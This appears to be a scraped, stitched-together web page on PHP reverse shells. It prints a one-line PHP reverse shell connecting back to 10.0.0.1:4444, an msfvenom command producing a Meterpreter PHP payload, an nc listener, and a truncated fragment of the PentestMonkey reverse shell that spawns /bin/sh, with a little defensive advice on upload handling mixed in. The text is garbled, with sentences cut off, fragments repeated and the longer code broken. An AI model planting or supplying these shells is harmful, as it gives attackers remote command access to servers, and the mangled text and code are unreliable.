Reverse Shell Php Top -

To catch the Meterpreter shell, set up the Metasploit handler:

The execution of a PHP reverse shell generally follows these five steps: Reverse Shell - Invicti

(Single-File Web Shell)

nc -lvnp 4444

A is a script written in PHP that, when executed on a server, initiates a TCP or UDP connection back to an attacker's machine, granting remote command-line access. Unlike bind shells (which listen on a local port), reverse shells bypass many inbound firewall rules because the connection originates from the internal network. reverse shell php top

Rename files upon upload to prevent execution (e.g., change shell.php to shell.php.txt ). Store uploads outside the web root.

Regularly monitor server logs for unexpected connections or file access patterns. Tools like netstat , lsof , or intrusion detection systems can help detect unusual activity. To catch the Meterpreter shell, set up the

<?php $s=fsockopen("10.0.0.1",4444); while(!feof($s)) $c=fread($s,1024); $o=shell_exec($c); fwrite($s,$o); ?>

msfvenom -p php/meterpreter_reverse_tcp LHOST=YOUR_IP LPORT=443 -f raw > reverse-shell.php Store uploads outside the web root

array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); if (is_resource($process)) stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (true) if (feof($sock)) break; if (feof($pipes[1])) break; $read = array($sock, $pipes[1], $pipes[2]); $write = null; $except = null; if (stream_select($read, $write, $except, 1) > 0) if (in_array($sock, $read)) fwrite($pipes[0], fread($sock, 1024)); if (in_array($pipes[1], $read)) fwrite($sock, fread($pipes[1], 1024)); if (in_array($pipes[2], $read)) fwrite($sock, fread($pipes[2], 1024)); fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?> Use code with caution. 2. PentestMonkey PHP Reverse Shell